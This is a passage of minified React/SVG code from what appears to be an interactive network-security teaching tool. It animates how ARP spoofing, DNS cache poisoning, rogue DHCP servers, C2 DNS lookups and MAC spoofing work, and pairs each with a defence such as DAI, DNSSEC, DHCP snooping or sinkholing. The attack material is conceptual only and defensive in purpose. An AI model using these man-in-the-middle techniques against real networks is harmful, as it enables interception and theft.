SECURITY VULNERABILITY: ARP is stateless and unauthenticated; hosts accept unsolicited spoofed replies blindly.`}),(0,k.jsx)(`text`,{x:`12`,y:`118`,fill:`#1e40af`,fontSize:`7.5`,fontWeight:`bold`,children:`DEFENSE: Dynamic ARP Inspection (DAI) & DHCP Snooping validate ARP bindings at the switch hardware level.`})]}):(0,k.jsxs)(`g`,{transform:`translate(16, 36)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`668`,height:`130`,rx:`4`,fill:`#fffbeb`,stroke:`#fcd34d`}),(0,k.jsx)(`text`,{x:`12`,y:`18`,fill:`#b45309`,fontSize:`8.5`,fontWeight:`bold`,fontFamily:`monospace`,children:`ARP RESOLUTION WORKFLOW (RFC 826):`}),(0,k.jsx)(`text`,{x:`14`,y:`38`,fill:`#0f172a`,fontSize:`7.5`,children:`1. Client has destination IP (192.168.1.20), but lacks the physical Layer 2 MAC address.`}),(0,k.jsx)(`text`,{x:`14`,y:`56`,fill:`#0f172a`,fontSize:`7.5`,children:`2. Client broadcasts ARP Request: "Who has 192.168.1.20? Tell 192.168.1.10."`}),(0,k.jsx)(`text`,{x:`14`,y:`74`,fill:`#0f172a`,fontSize:`7.5`,children:`3. Target host responds with unicast ARP Reply containing its hardware MAC address.`}),(0,k.jsx)(`text`,{x:`14`,y:`96`,fill:`#b45309`,fontSize:`7.5`,fontWeight:`bold`,children:`Enables Ethernet frames to be properly addressed and switched on local LAN segments.`})]})]})]})},_n=({currentStepIndex:e})=>{let t=e>=10,n=e>=1,r=e>=2,i=e>=3,a=e>=6&&e<=9,o=e>=14,s=80,c=75;return t?e===11?(s=370,c=220):e>=12&&e<=14?(s=370,c=120):e>=15&&(s=660,c=75):e===4?(s=370,c=220):e===5?(s=180,c=140):e===7?(s=80,c=75):e>=8&&(s=370,c=220),(0,k.jsxs)(`svg`,{viewBox:`0 0 760 340`,className:`w-full h-full select-none`,preserveAspectRatio:`xMidYMid meet`,children:[i&&(0,k.jsxs)(k.Fragment,{children:[(0,k.jsx)(`line`,{x1:`80`,y1:`75`,x2:`660`,y2:`75`,stroke:`#cbd5e1`,strokeWidth:`2.5`,strokeDasharray:`4 4`}),(0,k.jsx)(`line`,{x1:`80`,y1:`75`,x2:`370`,y2:`220`,stroke:`#fca5a5`,strokeWidth:`2`,strokeDasharray:`3 3`}),(0,k.jsx)(`line`,{x1:`370`,y1:`220`,x2:`660`,y2:`75`,stroke:`#fca5a5`,strokeWidth:`2`,strokeDasharray:`3 3`})]}),!t&&e===5&&(0,k.jsx)(A,{x1:330,y1:200,x2:120,y2:100,color:`#ef4444`,label:`FORGED GRATUITOUS ARP →`}),!t&&e===8&&(0,k.jsx)(A,{x1:120,y1:100,x2:330,y2:200,color:`#ef4444`,label:`HIJACKED TRAFFIC →`}),t&&e===15&&(0,k.jsx)(A,{x1:115,y1:75,x2:615,y2:75,color:`#10b981`,label:`CLEAN PATH TO GATEWAY →`}),(0,k.jsx)(M,{cx:80,cy:75,label:`VICTIM CLIENT`,ip:`192.168.1.50`,active:e<=5||e===7||o,statusText:a?`CACHE POISONED ✕`:void 0}),n&&(0,k.jsx)(F,{cx:660,cy:75,label:`DEFAULT GATEWAY`,sub:`192.168.1.1 (MAC 00:11:22)`,active:e>=15}),r&&(0,k.jsxs)(`g`,{transform:`translate(370, 220)`,children:[(0,k.jsx)(`rect`,{x:`-40`,y:`-20`,width:`80`,height:`40`,rx:`6`,fill:`#7f1d1d`,stroke:`#ef4444`,strokeWidth:`2`}),(0,k.jsx)(`text`,{x:`0`,y:`-3`,textAnchor:`middle`,fill:`#fee2e2`,fontSize:`8`,fontWeight:`bold`,fontFamily:`monospace`,children:`ATTACKER`}),(0,k.jsx)(`text`,{x:`0`,y:`10`,textAnchor:`middle`,fill:`#fca5a5`,fontSize:`6.5`,fontFamily:`monospace`,children:`MAC: 66:66:66`})]}),(!t&&(e===4||e===5||e>=7)||t&&e>=11)&&(0,k.jsx)(`g`,{className:`animate-pop-in transition-all duration-500`,children:(0,k.jsx)(j,{cx:s,cy:c-45,title:t?o?`DAI DROPPED ✕`:`FORGED ARP`:e<=5?`SPOOFED ARP`:`HIJACKED DATA`,protocol:!t&&e>=7?`HTTPS`:`ARP`,port:!t&&e>=7?`443`:`Layer 2`,src:!t&&e>=7?`192.168.1.50`:`192.168.1.1 (Forged)`,dst:!t&&e>=7?`Attacker (66:66)`:`192.168.1.50`,status:t?o?`DENY`:`INSPECT`:`DENY`,scale:.76})}),(0,k.jsxs)(`g`,{transform:`translate(30, 145)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`700`,height:`185`,rx:`10`,fill:`#ffffff`,stroke:`#cbd5e1`,strokeWidth:`1.5`}),(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`700`,height:`26`,rx:`9`,fill:`#0f172a`}),(0,k.jsx)(`text`,{x:`16`,y:`17`,fill:`#ffffff`,fontSize:`10`,fontWeight:`bold`,children:t?`MITIGATION: DYNAMIC ARP INSPECTION (DAI) & DHCP SNOOPING`:`ARP SPOOFING / POISONING ATTACK (MAN-IN-THE-MIDDLE HIJACKING)`}),t?(0,k.jsxs)(`g`,{transform:`translate(16, 36)`,className:`animate-pop-in`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`668`,height:`130`,rx:`4`,fill:`#f0fdf4`,stroke:`#86efac`}),(0,k.jsx)(`text`,{x:`12`,y:`18`,fill:`#15803d`,fontSize:`8.5`,fontWeight:`bold`,fontFamily:`monospace`,children:`HOW DYNAMIC ARP INSPECTION (DAI) PREVENTS SPOOFING:`}),(0,k.jsx)(`text`,{x:`14`,y:`38`,fill:`#0f172a`,fontSize:`7.5`,children:`1. Edge switch builds a trusted DHCP Snooping database binding valid IP + MAC + Switchport.`}),(0,k.jsx)(`text`,{x:`14`,y:`56`,fill:`#0f172a`,fontSize:`7.5`,children:`2. Switch intercepts ARP replies on untrusted user ports and compares against binding database.`}),(0,k.jsx)(`text`,{x:`14`,y:`74`,fill:`#15803d`,fontSize:`8`,fontWeight:`bold`,fontFamily:`monospace`,children:`3. ACTION: Mismatched ARP reply is DROPPED at switchport (Attacker port disabled) ✓.`}),(0,k.jsx)(`text`,{x:`14`,y:`98`,fill:`#15803d`,fontSize:`7.5`,fontWeight:`bold`,children:`SUMMARY: DAI + DHCP Snooping provides complete Layer 2 enterprise immunity against ARP poisoning.`})]}):(0,k.jsxs)(`g`,{transform:`translate(16, 36)`,className:`animate-pop-in`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`668`,height:`130`,rx:`4`,fill:`#fef2f2`,stroke:`#f87171`}),(0,k.jsx)(`text`,{x:`12`,y:`18`,fill:`#991b1b`,fontSize:`8.5`,fontWeight:`bold`,fontFamily:`monospace`,children:`POISONED ARP CACHE ON VICTIM HOST:`}),(0,k.jsxs)(`g`,{transform:`translate(10, 24)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`648`,height:`30`,rx:`4`,fill:`#fee2e2`,stroke:`#ef4444`,strokeWidth:`1.5`}),(0,k.jsx)(`text`,{x:`10`,y:`19`,fill:`#991b1b`,fontSize:`8`,fontWeight:`bold`,fontFamily:`monospace`,children:`POISONED ENTRY: 192.168.1.1 (Gateway) → ATTACKER MAC (66:66:66:66) ✕`})]}),(0,k.jsx)(`text`,{x:`12`,y:`78`,fill:`#0f172a`,fontSize:`7.5`,children:`• Result: Victim sends all gateway traffic to the attacker. Attacker sniffs passwords and forwards traffic.`}),(0,k.jsx)(`text`,{x:`12`,y:`96`,fill:`#dc2626`,fontSize:`7.5`,fontWeight:`bold`,children:`• Attack Impact: Complete confidentiality breach, session hijacking, and DNS spoofing capability.`})]})]})]})},vn=({currentStepIndex:e})=>{let t=e>=12,n=e>=1,r=e>=2,i=e>=3,a=e>=4&&e<=6,o=e>=7&&e<=8,s=e>=9&&e<=11,c=e>=15,l=80;return t?e===12?l=80:e>=13&&(l=370):e===4?l=80:e===5||e===6?l=370:e===7?l=230:e===8||e===9?l=80:e===10?l=370:e>=11&&(l=660),(0,k.jsxs)(`svg`,{viewBox:`0 0 760 340`,className:`w-full h-full select-none`,preserveAspectRatio:`xMidYMid meet`,children:[i&&(0,k.jsxs)(k.Fragment,{children:[(0,k.jsx)(`line`,{x1:`80`,y1:`75`,x2:`370`,y2:`75`,stroke:`#cbd5e1`,strokeWidth:`2.5`,strokeDasharray:`4 4`}),(0,k.jsx)(`line`,{x1:`370`,y1:`75`,x2:`660`,y2:`75`,stroke:`#cbd5e1`,strokeWidth:`2.5`,strokeDasharray:`4 4`}),(0,k.jsx)(`path`,{d:`M 80 75 Q 370 130 660 75`,fill:`none`,stroke:`#93c5fd`,strokeWidth:`2`,strokeDasharray:`4 4`})]}),!t&&e===5&&(0,k.jsx)(A,{x1:115,y1:75,x2:325,y2:75,color:`#0891b2`,label:`DNS QUERY (UDP 53) →`}),!t&&e===7&&(0,k.jsx)(A,{x1:325,y1:75,x2:115,y2:75,color:`#10b981`,label:`← DNS RESPONSE (A RECORD)`}),!t&&e===10&&(0,k.jsx)(A,{x1:115,y1:75,x2:615,y2:75,color:`#2563eb`,label:`HTTPS SESSION (TCP 443) →`}),t&&e===13&&(0,k.jsx)(A,{x1:115,y1:75,x2:325,y2:75,color:`#ef4444`,label:`MALICIOUS C2 LOOKUP →`}),(0,k.jsx)(M,{cx:80,cy:75,label:t?`INFECTED CLIENT`:`CLIENT`,ip:`10.0.1.50`,active:t?e<=13:e<=5||e===8||e===9}),n&&(0,k.jsxs)(`g`,{children:[(0,k.jsx)(`rect`,{x:`330`,y:`55`,width:`80`,height:`40`,rx:`6`,fill:`#0f172a`,stroke:c?`#ef4444`:`#06b6d4`,strokeWidth:`2`}),(0,k.jsx)(`text`,{x:`370`,y:`74`,textAnchor:`middle`,fill:`#67e8f9`,fontSize:`8`,fontWeight:`bold`,fontFamily:`monospace`,children:`DNS RESOLVER`}),(0,k.jsx)(`text`,{x:`370`,y:`86`,textAnchor:`middle`,fill:`#94a3b8`,fontSize:`6.5`,fontFamily:`monospace`,children:c?`SINKHOLE ACTIVE`:`Port 53 (UDP)`})]}),r&&(0,k.jsx)(P,{cx:660,cy:75,label:`WEB SERVER`,sub:`198.51.100.25:443`,active:e>=10&&e<=11,success:e>=11&&!t,statusText:e>=11&&!t?`ACCEPTED ✓`:`example.com`}),(!t&&e>=4||t&&e>=12)&&(0,k.jsx)(`g`,{className:`animate-pop-in transition-all duration-500`,children:(0,k.jsx)(j,{cx:l,cy:28,title:t?c?`SINKHOLED ✕`:`C2 QUERY`:a?`DNS QUERY`:o?`DNS ANSWER`:`HTTPS SYN`,protocol:s?`TCP`:`UDP`,port:s?`443`:`53`,src:o?`10.0.0.1`:`10.0.1.50`,dst:t?`malware-c2.xyz`:s?`198.51.100.25`:`example.com`,status:t?c?`DENY`:`INSPECT`:s&&e>=11?`ALLOW`:`NORMAL`,scale:.78})}),(0,k.jsxs)(`g`,{transform:`translate(30, 145)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`700`,height:`185`,rx:`10`,fill:`#ffffff`,stroke:`#cbd5e1`,strokeWidth:`1.5`}),(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`700`,height:`26`,rx:`9`,fill:`#0f172a`}),(0,k.jsx)(`text`,{x:`16`,y:`17`,fill:`#ffffff`,fontSize:`10`,fontWeight:`bold`,children:t?`DNS SECURITY THREAT MITIGATION: DNS SINKHOLING & DOMAIN FILTERING`:`DOMAIN NAME SYSTEM (DNS) RESOLUTION & APPLICATION SESSION ESTABLISHMENT`}),t?(0,k.jsxs)(`g`,{transform:`translate(16, 36)`,className:`animate-pop-in`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`668`,height:`130`,rx:`4`,fill:`#fef2f2`,stroke:`#f87171`}),(0,k.jsx)(`text`,{x:`12`,y:`18`,fill:`#991b1b`,fontSize:`8.5`,fontWeight:`bold`,fontFamily:`monospace`,children:`DNS THREAT MITIGATION (SINKHOLING MALICIOUS DOMAINS):`}),(0,k.jsx)(`text`,{x:`14`,y:`38`,fill:`#0f172a`,fontSize:`7.5`,children:"1. Infected endpoint attempts to resolve known botnet/ransomware C2 domain (\\`malware-c2-botnet.xyz\\`)."}),(0,k.jsx)(`text`,{x:`14`,y:`56`,fill:`#0f172a`,fontSize:`7.5`,children:`2. DNS Security Firewall matches domain against threat intelligence feeds.`}),(0,k.jsx)(`text`,{x:`14`,y:`74`,fill:`#dc2626`,fontSize:`8`,fontWeight:`bold`,fontFamily:`monospace`,children:`3. ACTION: Query SINKHOLED (Forges response to internal quarantine loopback IP 10.255.255.255) ✕.`}),(0,k.jsx)(`text`,{x:`14`,y:`98`,fill:`#15803d`,fontSize:`7.5`,fontWeight:`bold`,children:`BENEFIT: Neutralizes malware communication before any TCP connection can form.`})]}):(0,k.jsxs)(`g`,{transform:`translate(16, 36)`,className:`animate-pop-in`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`668`,height:`130`,rx:`4`,fill:`#f8fafc`,stroke:`#cbd5e1`}),(0,k.jsx)(`text`,{x:`12`,y:`18`,fill:`#0369a1`,fontSize:`8.5`,fontWeight:`bold`,fontFamily:`monospace`,children:`DNS RESOLUTION WORKFLOW (UDP PORT 53):`}),(0,k.jsx)(`text`,{x:`14`,y:`38`,fill:`#0f172a`,fontSize:`7.5`,children:`1. Client sends recursive query: "What is IP address for domain 'example.com'?"`}),(0,k.jsx)(`text`,{x:`14`,y:`56`,fill:`#0f172a`,fontSize:`7.5`,children:`2. Corporate Resolver queries Root → TLD → Authoritative servers, caches result, and returns A-Record (198.51.100.25).`}),(0,k.jsx)(`text`,{x:`14`,y:`74`,fill:`#0f172a`,fontSize:`7.5`,children:`3. Client extracts IP and opens TCP 443 socket directly to Web Server.`}),(0,k.jsx)(`text`,{x:`14`,y:`98`,fill:`#15803d`,fontSize:`7.5`,fontWeight:`bold`,children:`DNS is the critical pre-requisite for virtually all enterprise web and application communications.`})]})]})]})},yn=({currentStepIndex:e})=>{let t=e>=9,n=e>=1,r=e>=2,i=e>=3,a=e>=6&&e<=8,o=e>=14,s=80;return t?e===10?s=80:e>=11&&e<=13?s=370:e>=14&&e<=15?s=230:e>=16&&(s=660):e===4?s=80:e===5?s=230:e>=6&&e<=7?s=370:e>=8&&(s=660),(0,k.jsxs)(`svg`,{viewBox:`0 0 760 340`,className:`w-full h-full select-none`,preserveAspectRatio:`xMidYMid meet`,children:[i&&(0,k.jsx)(`line`,{x1:`80`,y1:`75`,x2:`660`,y2:`75`,stroke:`#cbd5e1`,strokeWidth:`2.5`,strokeDasharray:`4 4`}),!t&&e===5&&(0,k.jsx)(A,{x1:325,y1:120,x2:370,y2:95,color:`#ef4444`,label:`FORGED DNS REPLY (GUESSED TXID) →`}),!t&&e===7&&(0,k.jsx)(A,{x1:325,y1:75,x2:115,y2:75,color:`#ef4444`,label:`← SPOOFED IP TO CLIENT`}),!t&&e===8&&(0,k.jsx)(A,{x1:115,y1:75,x2:615,y2:75,color:`#ef4444`,label:`TO PHISHING SERVER →`}),t&&e===15&&(0,k.jsx)(A,{x1:325,y1:75,x2:115,y2:75,color:`#10b981`,label:`← VALIDATED DNSSEC ANSWER`}),t&&e===16&&(0,k.jsx)(A,{x1:115,y1:75,x2:615,y2:75,color:`#10b981`,label:`TO LEGITIMATE BANK →`}),(0,k.jsx)(M,{cx:80,cy:75,label:`CLIENT`,ip:`10.0.1.50`,active:t?e<=10||o:e<=5||e===8}),n&&(0,k.jsxs)(`g`,{children:[(0,k.jsx)(`rect`,{x:`330`,y:`55`,width:`80`,height:`40`,rx:`6`,fill:`#0f172a`,stroke:a?`#ef4444`:t?`#22c55e`:`#06b6d4`,strokeWidth:`2`}),(0,k.jsx)(`text`,{x:`370`,y:`74`,textAnchor:`middle`,fill:a?`#fca5a5`:`#67e8f9`,fontSize:`8`,fontWeight:`bold`,fontFamily:`monospace`,children:`DNS RESOLVER`}),(0,k.jsx)(`text`,{x:`370`,y:`86`,textAnchor:`middle`,fill:`#94a3b8`,fontSize:`6.5`,fontFamily:`monospace`,children:a?`CACHE POISONED`:t?`DNSSEC VALIDATING`:`Recursive Cache`})]}),r&&(0,k.jsx)(P,{cx:660,cy:75,label:a?`PHISHING PORTAL`:`LEGITIMATE BANK`,sub:a?`203.0.113.99 (Attacker)`:`198.51.100.50 (Official)`,active:e===8||e>=16,success:o,statusText:a?`TRICKED ✕`:o?`AUTHENTIC ✓`:`bank.com`}),(!t&&e>=4||t&&e>=10)&&(0,k.jsx)(`g`,{className:`animate-pop-in transition-all duration-500`,children:(0,k.jsx)(j,{cx:s,cy:28,title:t?o?`DNSSEC OK ✓`:`DNSSEC QUERY`:a?`POISONED`:`DNS QUERY`,protocol:`DNS`,port:`53`,src:!t&&a?`Attacker (Forged)`:`10.0.1.50`,dst:t?`bank.com (RRSIG)`:a?`bank.com = 203.0.113.99`:`bank.com`,status:!t&&a?`DENY`:o?`ALLOW`:`INSPECT`,scale:.78})}),(0,k.jsxs)(`g`,{transform:`translate(30, 145)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`700`,height:`185`,rx:`10`,fill:`#ffffff`,stroke:`#cbd5e1`,strokeWidth:`1.5`}),(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`700`,height:`26`,rx:`9`,fill:`#0f172a`}),(0,k.jsx)(`text`,{x:`16`,y:`17`,fill:`#ffffff`,fontSize:`10`,fontWeight:`bold`,children:t?`MITIGATION: DNSSEC CRYPTOGRAPHIC RRSIG SIGNATURE VALIDATION`:`DNS CACHE POISONING ATTACK (KAMINSKY FORGED TXID RACE CONDITION)`}),t?(0,k.jsxs)(`g`,{transform:`translate(16, 36)`,className:`animate-pop-in`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`668`,height:`130`,rx:`4`,fill:`#f0fdf4`,stroke:`#86efac`}),(0,k.jsx)(`text`,{x:`12`,y:`18`,fill:`#15803d`,fontSize:`8.5`,fontWeight:`bold`,fontFamily:`monospace`,children:`HOW DNSSEC PREVENTS CACHE POISONING:`}),(0,k.jsx)(`text`,{x:`14`,y:`38`,fill:`#0f172a`,fontSize:`7.5`,children:`1. Authoritative zone signs resource records using asymmetric cryptographic private keys (RRSIG).`}),(0,k.jsx)(`text`,{x:`14`,y:`56`,fill:`#0f172a`,fontSize:`7.5`,children:`2. Resolver validates digital signature using public keys chained to Root DNS Zone Key Signing Key (KSK).`}),(0,k.jsx)(`text`,{x:`14`,y:`74`,fill:`#15803d`,fontSize:`8`,fontWeight:`bold`,fontFamily:`monospace`,children:`3. ACTION: Forged unsigned response is INSTANTLY DISCARDED. Only verified IP (198.51.100.50) is served ✓.`}),(0,k.jsx)(`text`,{x:`14`,y:`98`,fill:`#15803d`,fontSize:`7.5`,fontWeight:`bold`,children:`DNSSEC guarantees data integrity and origin authenticity across the global Internet.`})]}):(0,k.jsxs)(`g`,{transform:`translate(16, 36)`,className:`animate-pop-in`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`668`,height:`130`,rx:`4`,fill:`#fef2f2`,stroke:`#f87171`}),(0,k.jsx)(`text`,{x:`12`,y:`18`,fill:`#991b1b`,fontSize:`8.5`,fontWeight:`bold`,fontFamily:`monospace`,children:`POISONED DNS RESOLVER CACHE (bank.com → 203.0.113.99):`}),(0,k.jsx)(`text`,{x:`14`,y:`38`,fill:`#0f172a`,fontSize:`7.5`,children:`1. Attacker floods resolver with thousands of forged responses guessing the 16-bit Transaction ID (TXID).`}),(0,k.jsx)(`text`,{x:`14`,y:`56`,fill:`#0f172a`,fontSize:`7.5`,children:`2. Forged reply arrives before authoritative server; resolver stores attacker's phishing IP in cache.`}),(0,k.jsx)(`text`,{x:`14`,y:`74`,fill:`#dc2626`,fontSize:`8`,fontWeight:`bold`,fontFamily:`monospace`,children:`3. RESULT: Client browser queries bank.com and is silently redirected to attacker phishing site ✕.`}),(0,k.jsx)(`text`,{x:`14`,y:`98`,fill:`#991b1b`,fontSize:`7.5`,fontWeight:`bold`,children:`Standard DNS has zero authentication; resolvers accept any matching TXID blindly.`})]})]})]})},bn=({currentStepIndex:e})=>{let t=e>=8,n=e>=2,r=e>=8,i=e>=1,a=e>=5&&e<=7,o=e>=14,s=80;return t?e===9?s=80:e>=10&&e<=14?s=370:e>=15&&(s=660):e<=1?s=80:e===2?s=510:e===3?s=230:e===4?s=510:e>=5&&e<=6?s=230:e>=7&&(s=660),(0,k.jsxs)(`svg`,{viewBox:`0 0 760 340`,className:`w-full h-full select-none`,preserveAspectRatio:`xMidYMid meet`,children:[i&&(0,k.jsxs)(k.Fragment,{children:[(0,k.jsx)(`line`,{x1:`80`,y1:`75`,x2:`660`,y2:`75`,stroke:`#cbd5e1`,strokeWidth:`2.5`,strokeDasharray:`4 4`}),r&&(0,k.jsx)(`line`,{x1:`80`,y1:`75`,x2:`370`,y2:`220`,stroke:`#fca5a5`,strokeWidth:`2`,strokeDasharray:`3 3`})]}),!t&&e===1&&(0,k.jsx)(A,{x1:115,y1:75,x2:615,y2:75,color:`#eab308`,label:`1. DISCOVER (BROADCAST) →`}),!t&&e===2&&(0,k.jsx)(A,{x1:615,y1:75,x2:115,y2:75,color:`#0891b2`,label:`← 2. OFFER (192.168.1.100)`}),!t&&e===3&&(0,k.jsx)(A,{x1:115,y1:75,x2:615,y2:75,color:`#eab308`,label:`3. REQUEST (BROADCAST) →`}),!t&&e===4&&(0,k.jsx)(A,{x1:615,y1:75,x2:115,y2:75,color:`#10b981`,label:`← 4. ACKNOWLEDGE (LEASE COMMITTED)`}),t&&e===10&&(0,k.jsx)(A,{x1:330,y1:200,x2:120,y2:100,color:`#ef4444`,label:`MALICIOUS ROGUE OFFER →`}),(0,k.jsx)(M,{cx:80,cy:75,label:`CLIENT`,ip:a?`192.168.1.100`:`0.0.0.0 (Unconfigured)`,active:e<=1||a||e===9,statusText:a?`LEASED ✓`:void 0}),n&&(0,k.jsx)(P,{cx:660,cy:75,label:`CORP DHCP SERVER`,sub:`192.168.1.1 (Trusted Port)`,active:!t||e>=15,success:a||e>=15,statusText:a||e>=15?`OFFICIAL LEASE`:`TRUSTED`}),r&&(0,k.jsxs)(`g`,{transform:`translate(370, 220)`,children:[(0,k.jsx)(`rect`,{x:`-45`,y:`-20`,width:`90`,height:`40`,rx:`6`,fill:`#7f1d1d`,stroke:`#ef4444`,strokeWidth:`2`}),(0,k.jsx)(`text`,{x:`0`,y:`-3`,textAnchor:`middle`,fill:`#fee2e2`,fontSize:`7.5`,fontWeight:`bold`,fontFamily:`monospace`,children:`ROGUE DHCP`}),(0,k.jsx)(`text`,{x:`0`,y:`10`,textAnchor:`middle`,fill:`#fca5a5`,fontSize:`6.5`,fontFamily:`monospace`,children:`Untrusted Port`})]}),(0,k.jsx)(`g`,{className:`animate-pop-in transition-all duration-500`,children:(0,k.jsx)(j,{cx:s,cy:28,title:t?o?`SNOOPING DROP ✕`:`ROGUE OFFER`:e===1?`DISCOVER`:e===2?`OFFER`:e===3?`REQUEST`:e===4?`ACK`:`IP PACKET`,protocol:`DHCP`,port:`67/68`,src:!t&&(e===2||e===4)?`192.168.1.1`:`0.0.0.0`,dst:!t&&(e===1||e===3)?`255.255.255.255`:`Client`,status:t?o?`DENY`:`INSPECT`:a?`ALLOW`:`NORMAL`,scale:.78})}),(0,k.jsxs)(`g`,{transform:`translate(30, 145)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`700`,height:`185`,rx:`10`,fill:`#ffffff`,stroke:`#cbd5e1`,strokeWidth:`1.5`}),(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`700`,height:`26`,rx:`9`,fill:`#0f172a`}),(0,k.jsx)(`text`,{x:`16`,y:`17`,fill:`#ffffff`,fontSize:`10`,fontWeight:`bold`,children:t?`DHCP SECURITY: ROGUE DHCP SERVER ATTACK & SWITCH DHCP SNOOPING DEFENSE`:`DYNAMIC HOST CONFIGURATION PROTOCOL (DORA 4-WAY HANDSHAKE)`}),t?(0,k.jsxs)(`g`,{transform:`translate(16, 36)`,className:`animate-pop-in`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`668`,height:`130`,rx:`4`,fill:`#f0fdf4`,stroke:`#86efac`}),(0,k.jsx)(`text`,{x:`12`,y:`18`,fill:`#15803d`,fontSize:`8.5`,fontWeight:`bold`,fontFamily:`monospace`,children:`HOW DHCP SNOOPING DEFENDS AGAINST ROGUE DHCP SERVERS:`}),(0,k.jsx)(`text`,{x:`14`,y:`38`,fill:`#0f172a`,fontSize:`7.5`,children:`1. Rogue Risk: Rogue DHCP server gives clients malicious Default Gateway & DNS, hijacking all web traffic (MITM).`}),(0,k.jsx)(`text`,{x:`14`,y:`56`,fill:`#0f172a`,fontSize:`7.5`,children:`2. Switch Snooping Logic: Classifies switch ports into TRUSTED (Server uplinks) and UNTRUSTED (User access).`}),(0,k.jsx)(`text`,{x:`14`,y:`74`,fill:`#15803d`,fontSize:`8`,fontWeight:`bold`,fontFamily:`monospace`,children:`3. ACTION: Switch drops DHCP OFFER/ACK packets arriving on untrusted ports (Rogue disabled) ✓.`}),(0,k.jsx)(`text`,{x:`14`,y:`98`,fill:`#15803d`,fontSize:`7.5`,fontWeight:`bold`,children:`DHCP Snooping guarantees only authorized corporate DHCP servers can assign network configurations.`})]}):(0,k.jsxs)(`g`,{transform:`translate(16, 36)`,className:`animate-pop-in`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`668`,height:`130`,rx:`4`,fill:`#f8fafc`,stroke:`#cbd5e1`}),(0,k.jsx)(`text`,{x:`12`,y:`18`,fill:`#1e40af`,fontSize:`8.5`,fontWeight:`bold`,fontFamily:`monospace`,children:`DORA 4-WAY HANDSHAKE (UDP PORTS 67/68):`}),(0,k.jsx)(`text`,{x:`14`,y:`38`,fill:`#0f172a`,fontSize:`7.5`,children:`1. DISCOVER: Client broadcasts (0.0.0.0 → 255.255.255.255) looking for an available DHCP server.`}),(0,k.jsx)(`text`,{x:`14`,y:`54`,fill:`#0f172a`,fontSize:`7.5`,children:`2. OFFER: Official DHCP server offers IP address 192.168.1.100, Subnet Mask, Gateway, and DNS.`}),(0,k.jsx)(`text`,{x:`14`,y:`70`,fill:`#0f172a`,fontSize:`7.5`,children:`3. REQUEST: Client formally requests the offered IP lease.`}),(0,k.jsx)(`text`,{x:`14`,y:`86`,fill:`#15803d`,fontSize:`7.5`,fontWeight:`bold`,children:`4. ACKNOWLEDGE: Server commits binding to DHCP lease table and confirms configuration ✓.`}),(0,k.jsx)(`text`,{x:`14`,y:`110`,fill:`#1e40af`,fontSize:`7.5`,fontWeight:`bold`,children:`DORA completes automatic client network bootstrapping without manual IP configuration.`})]})]})]})},xn=({currentStepIndex:e})=>{let t=e>=1,n=e>=2,r=e>=3,i=e>=10&&e<=12,a=e>=13,o=-100,s=!1,c=`ETH FRAME`,l=`00:50:56:C0:00:08`,u=`#0284c7`;return e===5?(s=!0,o=90,c=`ETH: 00:50:56:C0:00:08`,l=`Dst: FF:FF:FF:FF:FF:FF`):e===6?(s=!0,o=230,c=`ETH: 00:50:56:C0:00:08`,l=`In-Transit ➔ Switch`):e===7?(s=!0,o=370,c=`INSPECTING MAC`,l=`Port Gi0/1 Check`):e===8?(s=!0,o=510,c=`MATCHED: ALLOWED`,l=`➔ VLAN 10 LAN`,u=`#10b981`):e===9?(s=!0,o=650,c=`LAN RECEIVED ✓`,l=`ARP/IP Accepted`,u=`#10b981`):e===11?(s=!0,o=230,c=`ETH: 70:85:C2:11:22:33`,l=`Rogue Frame ➔ Switch`,u=`#ef4444`):e===12?(s=!0,o=345,c=`UNKNOWN MAC ✕`,l=`PORT SECURITY DROP`,u=`#ef4444`):e===15&&(s=!0,o=230,c=`SPOOFED: 00:50:56:C0:00:08`,l=`Filter Bypassed ⚠`,u=`#f59e0b`),(0,k.jsxs)(`svg`,{viewBox:`0 0 760 340`,className:`w-full h-full select-none`,preserveAspectRatio:`xMidYMid meet`,children:[(0,k.jsxs)(`g`,{transform:`translate(40, 10)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`680`,height:`22`,rx:`11`,fill:a?`#fef2f2`:i?`#fffbeb`:`#eff6ff`,stroke:a?`#fca5a5`:i?`#fcd34d`:`#93c5fd`}),(0,k.jsx)(`text`,{x:`340`,y:`15`,textAnchor:`middle`,fill:a?`#991b1b`:i?`#b45309`:`#1e40af`,fontSize:`8.5`,fontWeight:`bold`,fontFamily:`monospace`,children:a?`LIMITATION: ATTACKER SNIFFS CLEARTEXT MAC ➔ SPOOFS IN SOFTWARE ➔ BYPASSES WHITELIST ✕`:i?`ROGUE INTRUDER: SOURCE MAC NOT ON WHITELIST ➔ SWITCH DROPS FRAME (PORT SECURITY) ✕`:`MAC FILTERING LAB: LAYER 2 SOURCE MAC WHITELIST VALIDATION & SPOOFING DEMO`})]}),r&&(0,k.jsxs)(`g`,{opacity:`0.6`,children:[(0,k.jsx)(`line`,{x1:`120`,y1:`75`,x2:`330`,y2:`75`,stroke:`#94a3b8`,strokeWidth:`2`,strokeDasharray:`4,4`}),(0,k.jsx)(`line`,{x1:`410`,y1:`75`,x2:`610`,y2:`75`,stroke:`#94a3b8`,strokeWidth:`2`,strokeDasharray:`4,4`})]}),e===6&&(0,k.jsx)(A,{x1:`120`,y1:`75`,x2:`330`,y2:`75`,color:`#0284c7`,label:`SENDING ETH FRAME`}),e===8&&(0,k.jsx)(A,{x1:`410`,y1:`75`,x2:`610`,y2:`75`,color:`#10b981`,label:`WHITELIST PASS ➔ 